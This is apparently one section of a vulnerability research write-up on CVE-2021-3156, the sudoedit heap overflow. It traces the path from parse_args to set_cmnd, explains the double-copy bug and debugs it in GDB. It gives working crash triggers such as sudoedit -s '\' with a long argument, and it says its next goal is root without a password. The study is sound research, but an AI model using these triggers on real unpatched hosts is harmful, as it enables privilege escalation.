6. Bug Analysis

The ASan trace gave us the breadcrumbs:

#0 set_cmnd()              at sudoers.c:976
#1 sudoers_policy_main()   at sudoers.c:401
#2 sudoers_policy_check()  at policy.c:1028
#3 policy_check()          at sudo.c:1179
#4 main()                  at sudo.c:277

We can replay the crash with a clean, debug-built binary:

Bash
./install/bin/sudoedit -i '\' aaaaaaaaaaaaaaaaa

This reliably detonates the heap overflow, so we can trace execution from main() all the way to the vulnerable set_cmnd().

6.1. Call Graphs

First take a look at the call graph of the vuln entry set_cmnd():

fuzz_sudo_1-18

sudoers_policy_check() is called via policy_check() at sudo.c:1179:

fuzz_sudo_1-19

This means sudoers_policy_check() was actually invoked, under one of the switch...case... loop branches. Outside the loop, we see policy_check() is actually calling a function pointer check_policy() within the policy_plugin global structure:

fuzz_sudo_1-20

The call graph was broken because sudoers_policy_check() is actually a default implementation the check_policy() function pointer, initializing the policy_plugin global structure, which we will illustrate in the following static source code analysis.

6.2. Static Code Review

6.2.1. main

Ignoring libc scaffolding, the overflow chain starts at main(), defined in src/sudo.c at line 150. We already touched it when building the harness, but here's the annotated workflow relevant to the bug:

C
int 
main(int argc, char *argv[], char *envp[])
{
  ...
        
  // [0] Allowed program names
  const char * const allowed_prognames[] = { "sudo", "sudoedit", NULL }; 
    
  ...
      
  // [1] First entry
  //     Parse command-line arguments - USER CONTROLLED
  sudo_mode = parse_args(argc, argv, &submit_optind, &nargc, &nargv,
                         &settings, &env_add);

  ...

  // Workflow depend on flags
  switch (sudo_mode & MODE_MASK) {
      ...

      // Edit & run mode
      case MODE_EDIT:
      case MODE_RUN:
          // [2] Trampoline
          //     Execute some check by parsing arguments, env, etc. - USER CONTROLLED
          policy_check(nargc, nargv, env_add,
                       &command_info, &argv_out, &user_env_out);
          ...

Key takeaways:

  • Step [1]: parse_args() processes argv/env — this is our attacker's entry point.
  • Step [2]: For modes MODE_EDIT and MODE_RUN, execution jumps into policy_check(), handing off the still-controlled arguments.
  • This path is exactly what sudoedit -s '\' <payload> triggers, funneling malicious input deep into the policy plugin.

In short: main() parses argv, sets mode to MODE_EDIT, and then punts our controlled data into policy_check() — the trampoline that ultimately lands in the buggy set_cmnd().

6.2.2. parse_args

The first real user-controlled entrypoint is parse_args():

C
sudo_mode = parse_args(argc, argv, &submit_optind, &nargc, &nargv,
                       &settings, &env_add);

This routine decides the execution mode (MODE_EDIT, MODE_RUN, etc.), rewrites argv into a normalized nargv, and sets option flags. Essentially: this function dictates which plugin trampoline we'll hit later.

Target mode: we want sudo_modeMODE_EDIT or MODE_RUN (for now), because those fall through to:

C
case MODE_EDIT:
case MODE_RUN:
    policy_check(...);

From src/parse_args.c we see how sudoedit behaves differently from sudo -e:

C
int
parse_args(int argc, char **argv, int *old_optind, int *nargc, char ***nargv,
    		struct sudo_settings **settingsp, char ***env_addp)
{
  struct environment extra_env;
  int mode = 0;		/* what mode is sudo to be run in? */
  int flags = 0;		/* mode flags */
  int valid_flags = DEFAULT_VALID_FLAGS;	// Flags initialized by default
  int ch, i;
  char *cp;
  const char *progname;
  ...

  /* First, check to see if we were invoked as "sudoedit". */
  proglen = strlen(progname);
  if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
      progname = "sudoedit";
	  mode = MODE_EDIT;
	  sudo_settings[ARG_SUDOEDIT].value = "true";
    }
	...
        
  for (;;) {
	if ((ch = getopt_long(argc, argv, short_opts, long_opts, NULL)) != -1) {
	    switch (ch) {
                ...
            
            // for `sudo -e`
            case 'e':
                if (mode && mode != MODE_EDIT)
                usage_excl();
                mode = MODE_EDIT;
                sudo_settings[ARG_SUDOEDIT].value = "true";
                valid_flags = MODE_NONINTERACTIVE;	// [!] removes MODE_SHELL flag
		    	break;
                ...

So, calling binary as sudoedit OR running sudo -e ... will both set MODE_EDIT. but the latter one will remove the MODE_SHELL flag at the same time. Thus sudo -e won't accept extra command-line arguments and trigger an error (returning usage()), according to line 562:

C
SET(flags, MODE_SHELL);
}
if ((flags & valid_flags) != flags)
usage();

Therefore, sudo -e is too strict; only sudoedit survives with extra arguments intact.

No other flag reset inside the sudoedit code snippet. When progname = "sudoedit", it just lights up the MODE_EDIT, with MODE_SHELL initialized by default, see line 120:

C
/*
 * Default flags allowed when running a command.
 */
#define DEFAULT_VALID_FLAGS	(MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)

After bypassing the valid_flags check, execution flows into shell mode at line 604:

C
/*
 * For shell mode we need to rewrite argv
 * - This block reconstructs argv[] so that commands are passed correctly
 *   when using a shell (e.g., `sh -c "command"`).
 */
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {	// [!] only When MODE_RUN is set
  char **av, *cmnd = NULL;
  int ac = 1;		// Start with one argument: the shell itself
  
  if (argc != 0) {
      // Construct the equivalent of: shell -c "command"
      ...
  
      // [!] Copy each argument into cmnd, escaping special characters
      for (av = argv; *av != NULL; av++) {
      for (src = *av; *src != '\0'; src++) {
          // If the character is not alphanumeric, _, -, or $,
          if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
          // then it prefixes the character with a backslash (\)
          *dst++ = '\\';
          // and always appends the character itself
          *dst++ = *src;
      }
      ...
  }

  ...
  
  // Null-terminate the new argv list
  av[ac] = NULL;	// [!] no command-line argument can end with a single backslash character ('\')
      
  // Update argv and argc to point to the new arguments
  argv = av;
  argc = ac;
}

It will have to reconstruct argv[] so that commands are passed correctly. If MODE_RUN + MODE_SHELL, arguments get reconstructed into a safe sh -c … form: every weird char escaped (\, ", _, -, $, etc.), and are always Null terminated.

But if MODE_EDIT, the logic is different. It also accept extra arguments for it sets MODE_SHELL as well ,but not MODE_RUN(see line 653):

C
/*
 * For sudoedit we need to rewrite argv
 */
if (mode == MODE_EDIT) {
#if defined(HAVE_SETRESUID) || defined(HAVE_SETREUID) || defined(HAVE_SETEUID)
    char **av;
    int ac;

    ...

    /* Must have the command in argv[0]. */
    av[0] = "sudoedit";

    // Shift the original arguments right by one position.
    for (ac = 0; argv[ac] != NULL; ac++) {
        av[ac + 1] = argv[ac];
    }

    // NULL-terminate and publish the new argv/argc
    av[++ac] = NULL;
    argv = av;
    argc = ac;
    ...
        
    *settingsp = sudo_settings;
    *env_addp = extra_env.envp;
    *nargc = argc;
    *nargv = argv;
    debug_return_int(mode | flags);
}

Here, no escaping. It simply prepends "sudoedit" to original args and passes them along raw. That's why our fuzzed payload sudoedit -i '\' aaaa... worked — the literal backslash (\) slipped through unmodified.

Additionally, when we pass the -i/-s option to sudo or sudoedit, the flag MODE_LOGIN_SHELL or MODE_SHELL will be set as well (a condition to fulfil the exploit for set_cmnd() later):

C
case 'i':
    sudo_settings[ARG_LOGIN_SHELL].value = "true";
    SET(flags, MODE_LOGIN_SHELL);	// ← LOGIN shell flag

case 's':
    sudo_settings[ARG_USER_SHELL].value = "true";
    SET(flags, MODE_SHELL);			// ← plain shell flag
  • MODE_SHELL: Tells the policy plugin to build a shell -c … pseudo-command.
  • MODE_LOGIN_SHELL: Performs login-shell tweaks.

Further down in parse_args() at line 549:

C
if (ISSET(flags, MODE_LOGIN_SHELL)) {
    if (ISSET(flags, MODE_SHELL)) {
        sudo_warnx("%s",
        U_("you may not specify both the -i and -s options"));
        usage();		// -i and -s together?  die
    }
    if (ISSET(flags, MODE_PRESERVE_ENV)) {
        sudo_warnx("%s",
        	U_("you may not specify both the -i and -E options"));
        usage();		// -i and -E together?  die
    }
    SET(flags, MODE_SHELL);		// [!] ← convert LOGIN → SHELL
}

So:

  • With -i: Initially MODE_LOGIN_SHELL is set. Then this block adds MODE_SHELL for it
  • With -s: It already had MODE_SHELL; this block does nothing.

A proper combination of these flag options eventually leads us to the desired code path in sudoers_policy_main and set_cmnd, accepting extra new arguments as a shell command should do.

6.2.3. policy_check

Once parse_args() lands us in MODE_EDIT, execution funnels into policy_check() (sudo.c:1157) — the trampoline from core sudo into the policy plugin

fuzz_sudo_1-23

See src/sudo.c at line 1157:

C
static void
policy_check(int argc, char * const argv[],
            char *env_add[], char **command_info[], char **argv_out[],
            char **user_env_out[])
{
  ...

  // Ensures check_policy() is implemented in the loaded plugin.
  if (policy_plugin.u.policy->check_policy == NULL) {
      sudo_fatalx(U_("policy plugin %s is missing the \"check_policy\" method"),
	  policy_plugin.name);
    }
    ...
    
  // Core call — jump into plugin check - [!] USER CONTROLLED
  ok = policy_plugin.u.policy->check_policy(argc, argv, env_add,
										command_info, argv_out, user_env_out, &errstr);
  ...

Everything interesting crosses this boundary:

  • argc, argv → our normalized, but attacker-influenced nargv from parse_args().
  • env_add → attacker-controlled environment adds.
  • Out-params (command_info, argv_out, user_env_out) get populated by the plugin using the above.

This is the trust boundary: core sudo validates that a check_policy exists, then punts raw inputs to the plugin.

Question:

Where does check_policy come from? How is it calling the "invisible" sudoers_policy_check subsequently?

The policy_plugin instance is a global container:

C
struct plugin_container policy_plugin;

The plugin_container structure is defined in src/sudo_plugin_int.h at line 88, holding a union u whose policy member is a pointer to a policy-plugin v1.2+ descriptor:

C
/*
 * Sudo plugin internals.
 */
struct plugin_container {
    ...
    union {
        struct generic_plugin *generic;
        struct policy_plugin *policy;			    //  [!] we'll end up here
        struct policy_plugin_1_0 *policy_1_0;	//  ↳ older APIs
        struct io_plugin *io;
        struct io_plugin_1_0 *io_1_0;
        struct io_plugin_1_1 *io_1_1;
        struct audit_plugin *audit;
        struct approval_plugin *approval;
    } u;
};

The newer policy_plugin is described in include/sudo_plugin.h at line 163:

fuzz_sudo_1-21

Here is where the check_policy function pointer comes from. Its function signature:

C
int (*check_policy)(int argc, char * const argv[],
                    char *env_add[], char **command_info[],
                    char **argv_out[], char **user_env_out[],
                    const char **errstr);

Back to src/sudo.c, we see how this pointer is wired at runtime.

First, plugin is loaded via sudo_load_plugins():

C
/* Load plugins. */
if (!sudo_load_plugins())
    sudo_fatalx("%s", U_("fatal error, unable to load plugins"));

Where sudo_load_plugins() is defined in src/load_plugins.c at line 476:

C
/*
 * Load the plugins listed in sudo.conf.
 */
bool
sudo_load_plugins(void)
{
  struct plugin_info_list *plugins;
  struct plugin_info *info, *next;
  bool ret = false;
  ...
        
  // Walks the list from sudo.conf; for each entry calls sudo_load_plugin(...)
  if (...) {	// Relates to policy_plugin, io_plugins, audit_plugins
      ...
            
      ret = sudo_load_plugin(info, false);
      ...
      ret = sudo_load_sudoers_plugin("sudoers_policy", false);
      ...
	    ret = sudo_load_sudoers_plugin("sudoers_io", false);
	    ...
      sudo_load_sudoers_plugin("sudoers_audit", true)
      ...

  // After all plugins are processed, it checks:
            
  /* TODO: check all plugins for open function too */
  if (policy_plugin.u.policy->check_policy == NULL) {
	sudo_warnx(U_("policy plugin %s does not include a check_policy method"),
				policy_plugin.name);
	ret = false;
	goto done;
  }
  // Confirm the global now contains a usable check_policy pointer.
  ...

It loads the plugins listed in sudo.conf, and calling sudo_load_plugin() internally defined at line 265 to initialize the global structures:

C
/*
 * Load the plugin specified by "info".
 */
static bool
sudo_load_plugin(struct plugin_info *info, bool quiet)
{
  struct generic_plugin *plugin;
  ...
        
  // Initializing policy_plugin, io_plugins, audit_plugins, approval_plugins
        
  // Copies the dlopen handle, path, options
  // and the pointer to the exported struct into the global policy_plugin
  if (!fill_container(&policy_plugin, handle, path, plugin, info))
	  goto done;
  break;
  case SUDO_IO_PLUGIN:
  if (!sudo_insert_plugin(&io_plugins, handle, path, plugin, info))
	  goto done;
  break;
  case SUDO_AUDIT_PLUGIN:
  if (!sudo_insert_plugin(&audit_plugins, handle, path, plugin, info))
	  goto done;
  break;
  case SUDO_APPROVAL_PLUGIN:
  if (!sudo_insert_plugin(&approval_plugins, handle, path, plugin, info))
	  goto done;
  break;
  ...

This code initializes the global object policy_plugin:

fuzz_sudo_1-17

Especially, it executes

C
sudo_load_sudoers_plugin("sudoers_policy", false);

That loads libexec/sudo/sudoers.so, which is built from plugins/sudoers/policy.c. See line 1166:

C
sudo_dso_public struct policy_plugin sudoers_policy = {
    SUDO_POLICY_PLUGIN,
    SUDO_API_VERSION,
    sudoers_policy_open,
    sudoers_policy_close,
    sudoers_policy_version,
    sudoers_policy_check,		  // ⇦ .check_policy()
    sudoers_policy_list,
    sudoers_policy_validate,
    sudoers_policy_invalidate,
    sudoers_policy_init_session,
    sudoers_policy_register_hooks,
    NULL /* event_alloc() filled in by sudo */
};

Therefore …

When policy_check() (in src/sudo.c) later executes:

C
ok = policy_plugin.u.policy->check_policy(argc, argv, env_add,
        command_info, argv_out, user_env_out, &errstr);

it really calls:

C
sudoers_policy_check(argc, argv, env_add,
        command_info, argv_out, user_env_out, &errstr);

inside the sudoers plugin.

6.2.4. sudoers_policy_check

sudoers_policy_check() is the trampoline of the exploit chain, defined in plugins/sudoers/policy.c at line 1012:

C
static int
sudoers_policy_check(int argc, char * const argv[], char *env_add[],
                    char **command_infop[], char **argv_out[], char **user_env_out[],
                    const char **errstr)
{
  ...

  // Build exec_args → where the plugin will place its results
  exec_args.argv = argv_out;	// → pointer we pass back to front-end
  exec_args.envp = user_env_out;
  exec_args.info = command_infop;

  // [!] Core dispatch: all user-controlled argv/env reach here
  ret = sudoers_policy_main(argc,        // attacker-controlled    
                          argv,          // attacker-controlled    
                          0,             // nfiles (sudoedit only) 
                          env_add,       // attacker-controlled    
                          false,         // preserve cwd flag      
                          &exec_args);   // out-parameters       
    
    ...

User-controlled data (argc, argv, env_add) is passed directly to sudoers_policy_main().

6.2.5. sudoers_policy_main

The called sudoers_policy_main() is defined in plugins/sudoers/sudoers.c at line 331, which re-constructs attacker-controlled argv and crashes in set_cmnd():

C
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
    				bool verbose, void *closure)
{
  ...

  /*
   * Make a local copy of argc/argv, with special handling
   * for pseudo-commands and the '-i' option.
   */
  if (argc == 0) {	// sudoedit with 0 args
  NewArgc = 1;
  NewArgv = reallocarray(NULL, NewArgc + 1, sizeof(char *));
  ...
    // Restrict to call user_cmnd only 
    NewArgv[0] = user_cmnd;		// defined in sudoers.h: #define user_cmnd (sudo_user.cmnd)
    NewArgv[1] = NULL;
  } else {
    /* Must leave an extra slot before NewArgv for bash's --login */
    NewArgc = argc;		// [!] attacker-controlled
    NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));	
    ...

  /* Find command in path and apply per-command Defaults. */
  // [!] Vuln entry
  cmnd_status = set_cmnd();	// ← pivot to overflow
  ...

It clones the attacker-controlled argv into a mutable vector and prepares it for policy evaluation:

  • All original arguments (already massaged by parse_args()) are now copied into NewArgv.
  • The reserved “extra slot before NewArgv” is only for splicing --login; not directly risky, but it's why -i and -s steer into a shell-flavored path later.

This block's purpose is only to massage argv[] in shell mode; it does not decide whether the overflow happens—but leading to the vulnerable entry: set_cmnd().

6.2.6. set_cmnd

According to the ASAN report, the found heap overflow eventually occurs exactly in plugins/sudoers/sudoers.c at line 976, which is inside the static set_cmnd() function defined in file plugins/sudoers/sudoers.c at line 917:

C
/*
 * Fill in user_cmnd, user_args, user_base and user_stat variables
 * and apply any command-specific defaults entries.
 */
static int
set_cmnd(void)
{
    struct sudo_nss *nss;
    int ret = FOUND;
    debug_decl(set_cmnd, SUDOERS_DEBUG_PLUGIN);

    /* Allocate user_stat for find_path() and match functions. */
    user_stat = calloc(1, sizeof(struct stat));
    ...

    /* Default value for cmnd, overridden below. */
    if (user_cmnd == NULL)
	user_cmnd = NewArgv[0];		// If not already set, use NewArgv[0]

    // Only set command path/args if mode is RUN, EDIT, or CHECK
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
	if (ISSET(sudo_mode, MODE_RUN | MODE_CHECK)) {
	    ...
        debug_return_int(ret);	// if MODE_RUN, it returns (fails reaching vuln)
	    }
	}

    // [!] Vuln entry
    //     set user_args: string of all arguments after command
	if (NewArgc > 1) {
	    char *to, *from, **av;
	    size_t size, n;

	    /* Alloc and build up user_args. */
	    for (size = 0, av = NewArgv + 1; *av; av++)
		size += strlen(*av) + 1;
	    if (size == 0 || (user_args = malloc(size)) == NULL) {		// [!] size controllable
		sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
		debug_return_int(NOT_FOUND_ERROR);
	    }
	    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
		/*
		 * When running a command via a shell, the sudo front-end
		 * escapes potential meta chars.  We unescape non-spaces
		 * for sudoers matching and logging purposes.
		 */
		for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
		    while (*from) {
			if (from[0] == '\\' && !isspace((unsigned char)from[1]))
			    from++;		
			*to++ = *from++;
		    }
		    *to++ = ' ';
		}
		*--to = '\0';
	    } else {
		for (to = user_args, av = NewArgv + 1; *av; av++) {
		    n = strlcpy(to, *av, size - (to - user_args));
		    if (n >= size - (to - user_args)) {
			sudo_warnx(U_("internal error, %s overflow"), __func__);
			debug_return_int(NOT_FOUND_ERROR);
		    }
		    to += n;
		    *to++ = ' ';
		}
		*--to = '\0';
	    }
	  }
    }
...

The short: where the math breaks.

When we use the -i or -s option for sudoedit, both setting the MODE_EDIT (and MODE_SHELL, but not MODE_RUN), we enter the following code branch by reconstructing new command-line arguments after the option flags:

C
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
if (ISSET(sudo_mode, MODE_RUN | MODE_CHECK)) {
    ...
    debug_return_int(ret);    // [!] This kills the code block
    }
}

if (NewArgc > 1) {
    char *to, *from, **av;
    size_t size, n;
    ...

First, it computes the size needed for memory allocation:

C
// total size (with spaces & NUL)
for (size = 0, av = NewArgv + 1; *av; av++)	
    size += strlen(*av) + 1;	// +1 for separating space  

Then, allocate a buffer user_args using that calculated size to store the arguments:

C
user_args = malloc(size);	// size == Σ(len+1)       

When MODE_SHELL or MODE_LOGIN_SHELL flagged by -s or -i options:

C
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL))

It enters a de-escaping copy loop:

C
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
    while (*from) {		// Start new copy if NUL arg separators
    if (from[0] == '\\' && !isspace((unsigned char)from[1]))	// skip back-slash
        from++;			  // drop the back-slash
    *to++ = *from++;	// copy the char & ++
    }
    *to++ = ' ';		  // ALWAYS add space between args
}
*--to = '\0';			    // overwrite last space with NUL
  • Whenever the pattern \X (X ≠ space) is found, one source byte is skipped but the loop still appends one destination byte (X).
  • Therefore the destination string becomes 1 byte shorter than the pre-computed size for every such escape sequence.

This aims to extract char from \<non_space_char> format by removing \ which acts only as an escaper in Linux, illustrated as the following graph:

fuzz_sudo_1-22

However, unexpected behaviour appears when one argument contains '\' + NUL (aka "\\" + "\x00").

A minimal trigger—the first argument to the copy loop is two bytes: a back-slash (0x5c) followed immediately by the terminating NUL (0x00). A second, ordinary argument ("abcdefghijklmn") follows.:

Bash
sudoedit -s '\' 'abcdefghijklmn'

When setcmnd() sees the '\' string, the copy loop acts as:

C
// de-escape loop in set_cmnd() processing '\' string ($'\\\0')
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
    while (*from) {							// (A)
    if (from[0] == '\\' && 			// see '\'
        !isspace((unsigned char)from[1]))	// the next char '\0' is no space
        from++;								  // (B) 1st ++  (skip \ (skips '\')
    *to++ = *from++;						// (C) copy NUL byte & 2nd ++   ⟶ go to A again
    }
    *to++ = ' ';		
}
*--to = '\0';			// overwrite last space with NUL

At the start point, from points to the first NewArgv[0]:

  1. So, from[0] == '\\' and from[1] == '\0'
  2. isspace('\0') is false → condition true → execute (B)
    • from++ (now skips '\\' and points to the \0)
  3. Execute (C)
    • *to++ = *from → copies the NUL byte into to
    • from++ again → pointing to NewArgv[1] (the next argument!) after the NUL byte—even though the outer for (av++) has not advanced yet.
    • *from != 0 , bypassing the loop guard while (*from) at (A)
  4. Now the first loop does not end, but continuing the copy loop until reaching the Null terminator at the end of NewArgv[1]
  5. When the 1st inner while finally finishes, control returns to the outer for (av++), which now advances to the second argument NewArgv[1]—the one that was just copied by mistake. This argument is then copied a second time.

Buffer overflow — user_args was sized before the de-escape copy loop, for holding one copy of each argument plus the spaces/NULs. The unexpected second copy writes past the end of the allocation, corrupting the next heap chunk. This is the heap-buffer-overflow reported in CVE-2021-3156.

6.3. Debugging Sudo

Goal: walk the minimal PoC through the call chain and watch the double-copy in set_cmnd blow past the heap buffer.

We care about the exact handoff points in the chain, so set breakpoints here:

Bash
b parse_args
b policy_check
b sudoers_policy_check
b sudoers_policy_main
b set_cmnd

Fire up GDB with the crafted payload:

Bash
gdb -q \
  	-ex 'set follow-fork-mode child' \
  	-ex 'b parse_args' \
  	-ex 'b policy_check' \
  	-ex 'b sudoers_policy_check' \
  	-ex 'b sudoers_policy_main' \
  	-ex 'b set_cmnd' \
  	--args $HOME/fuzz/proj/sudo-1.9.5p1/install/bin/sudoedit \
  		-s '\'  abcdefghijklmn

Initial argv[] comes straight from the command line:

fuzz_sudo_1-24

parse_args() processes the flags. With -s, the global sudo_mode becomes 0x00020002 (MODE_EDIT = 0x00000002, MODE_SHELL = 0x00020000):

fuzz_sudo_1-25

This sets us up for the vulnerable branch into policy_check().

Subsequently, arguments are massaged, and the trampoline into sudoers_policy_check() happens:

fuzz_sudo_1-26

The new argc is 3"-s" is gone, leaving:

nargv[0] = "sudoedit"
nargv[1] = "\"
nargv[2] = "abcdefghijklmn"

Inside sudoers_policy_main(), the args are copied into NewArgv[]:

fuzz_sudo_1-27

The size calculation sees both arguments ("\\" and "abcdefghijklmn") → 17 bytes (0x11) including the two Null terminators for each string:

fuzz_sudo_1-28

A malloc(0x11) call carves out a 0x20 chunk from the unsorted bin:

fuzz_sudo_1-29

We enter the first de-escape copy loop of set_cmnd(). Our first arg ("\\" string with NUL) bypasses the isspace() check.

fuzz_sudo_1-30

from++ skips the NUL after the backslash. Now from points to the 2nd argument, the junk string:

fuzz_sudo_1-31

The loop then copies the trailing NUL as if it were real input, at the user_args heap chunk:

fuzz_sudo_1-32

to is then forwarding to &user_args+1, and immediately slides into the second argument ("abcdefghijklmn") without waiting for the outer loop to advance:

fuzz_sudo_1-33

to advances through the junk string until the NUL terminator…Once the inner loop finishes, then the outer for loop kicks in, and processes NewArgv[1] again. The same junk string is copied a second time → writing beyond the end of user_args:

fuzz_sudo_1-34

Heap corruption achieved: the overflow tramples the adjacent chunk sitting in the unsorted bin.

6.4. Heap Trace

6.4.1. GDB Scripts

To trace heap activity while executing our PoC, we can hook only the key allocation primitives: malloc, calloc, realloc, and free. Using a custom GDB script (heap_trace.gdb), each call is logged with backtraces:

Bash
gdb --batch \
  	--command=$HOME/pwn/pwnhub/gdb-scripts/heap_trace.gdb \
  	--args $HOME/fuzz/proj/sudo-1.9.5p1/install/bin/sudoedit \
      		  -s '\' 'abdcefghijklmn'

Example excerpt:

========= [MALLOC] =========
>>> malloc(0x59)
Request size     : 89
#0  __GI___libc_malloc (bytes=89) at malloc.c:3038
#1  0x00007f0f2c910ce1 in _nl_make_l10nflist (l10nfile_list=l10nfile_list@entry=0x7f0f2ccc8cd8 <_nl_loaded_domains>, dirlist=dirlist@entry=0x56297a0c5d30 "/home/pwn/fuzz/proj/sudo-1.9.5p1/install/share/locale", dirlist_len=54, mask=mask@entry=0, language=language@entry=0x7ffe6ea8f450 "en_US.UTF-8", territory=territory@entry=0x0, codeset=0x0, normalized_codeset=0x0, modifier=0x0, filename=0x7ffe6ea8f470 "LC_MESSAGES/sudoers.mo", do_allocate=0) at ../intl/l10nflist.c:166
#2  0x00007f0f2c90ecc4 in _nl_find_domain (dirname=dirname@entry=0x56297a0c5d30 "/home/pwn/fuzz/proj/sudo-1.9.5p1/install/share/locale", locale=locale@entry=0x7ffe6ea8f450 "en_US.UTF-8", domainname=domainname@entry=0x7ffe6ea8f470 "LC_MESSAGES/sudoers.mo", domainbinding=domainbinding@entry=0x56297a0c60d0) at finddomain.c:90
#3  0x00007f0f2c90e59b in __dcigettext (domainname=<optimized out>, domainname@entry=0x562978862829 "sudoers", msgid1=msgid1@entry=0x562978864ba4 "Sorry, try again.", msgid2=msgid2@entry=0x0, plural=plural@entry=0, n=n@entry=0, category=category@entry=5) at dcigettext.c:703
#4  0x00007f0f2c90cddf in __GI___dcgettext (domainname=domainname@entry=0x562978862829 "sudoers", msgid=msgid@entry=0x562978864ba4 "Sorry, try again.", category=category@entry=5) at dcgettext.c:47
#5  0x000056297882a2d3 in init_defaults () at ./defaults.c:580
#6  0x0000562978821047 in sudoers_init (info=info@entry=0x7ffe6ea8f670, envp=envp@entry=0x7ffe6ea8fa00) at ./sudoers.c:175
#7  0x0000562978826dfb in sudoers_audit_open (version=<optimized out>, conversation=<optimized out>, plugin_printf=<optimized out>, settings=0x56297a0c5f90, user_info=0x56297a0c2850, submit_optind=<optimized out>, submit_argv=0x7ffe6ea8f9d8, submit_envp=0x7ffe6ea8fa00, plugin_options=0x0, errstr=0x7ffe6ea8f760) at ./audit.c:183
#8  0x00005629787ef203 in audit_open_int (errstr=0x7ffe6ea8f760, submit_envp=0x7ffe6ea8fa00, submit_argv=0x7ffe6ea8f9d8, submit_optind=2, user_info=0x56297a0c2850, settings=0x562978a8b6c0 <sudo_settings>, plugin=0x56297a0c5cc0) at ./sudo.c:1556
#9  audit_open (submit_envp=0x7ffe6ea8fa00, submit_argv=0x7ffe6ea8f9d8, submit_optind=2, user_info=0x56297a0c2850, settings=0x562978a8b6c0 <sudo_settings>) at ./sudo.c:1576
#10 main (argc=argc@entry=4, argv=argv@entry=0x7ffe6ea8f9d8, envp=0x7ffe6ea8fa00) at ./sudo.c:240
#11 0x00007f0f2c8fdc87 in __libc_start_main (main=0x5629787eee30 <main>, argc=4, argv=0x7ffe6ea8f9d8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffe6ea8f9c8) at ../csu/libc-start.c:310
#12 0x00005629787f14fa in _start ()

...

========= [MALLOC] =========
>>> malloc(0x11)
Request size     : 17
#0  __GI___libc_malloc (bytes=17) at malloc.c:3038
#1  0x000056297882218f in set_cmnd () at ./sudoers.c:960
#2  sudoers_policy_main (argc=argc@entry=3, argv=argv@entry=0x56297a0c5b90, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, verbose=verbose@entry=false, closure=closure@entry=0x7ffe6ea8f680) at ./sudoers.c:401
#3  0x000056297881b379 in sudoers_policy_check (argc=3, argv=0x56297a0c5b90, env_add=0x0, command_infop=0x7ffe6ea8f740, argv_out=0x7ffe6ea8f748, user_env_out=0x7ffe6ea8f750, errstr=0x7ffe6ea8f768) at ./policy.c:1028
#4  0x00005629787ef4a0 in policy_check (user_env_out=0x7ffe6ea8f750, argv_out=0x7ffe6ea8f748, command_info=0x7ffe6ea8f740, env_add=0x0, argv=0x56297a0c5b90, argc=3) at ./sudo.c:1171
#5  main (argc=argc@entry=4, argv=argv@entry=0x7ffe6ea8f9d8, envp=0x7ffe6ea8fa00) at ./sudo.c:269
#6  0x00007f0f2c8fdc87 in __libc_start_main (main=0x5629787eee30 <main>, argc=4, argv=0x7ffe6ea8f9d8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffe6ea8f9c8) at ../csu/libc-start.c:310
#7  0x00005629787f14fa in _start ()

...

6.4.2. Function Tree

The raw GDB logs are bulky. To make sense of them, we pipe the traces through a parser (tree_heap_trace.py) that builds a hierarchical call tree for each allocation event:

fuzz_sudo_1-35

Using this tree view, we can filter and collapse irrelevant libc internals, leaving only the essential call stacks that matter for exploitation. Tools like Understand or CodeQL help correlate these heap sites with source-level intent:

fuzz_sudo_1-36

Turning on annotated comments in the tree is particularly useful—it shows why each malloc exists (locale loading, defaults parsing, policy checks), making it easier to identify which allocations are under attacker influence.

We have verified a heap overflow vulnerability in the sudo binary, the next topic is about how we are going to exploit it—escalate user privilege to root without password authentication.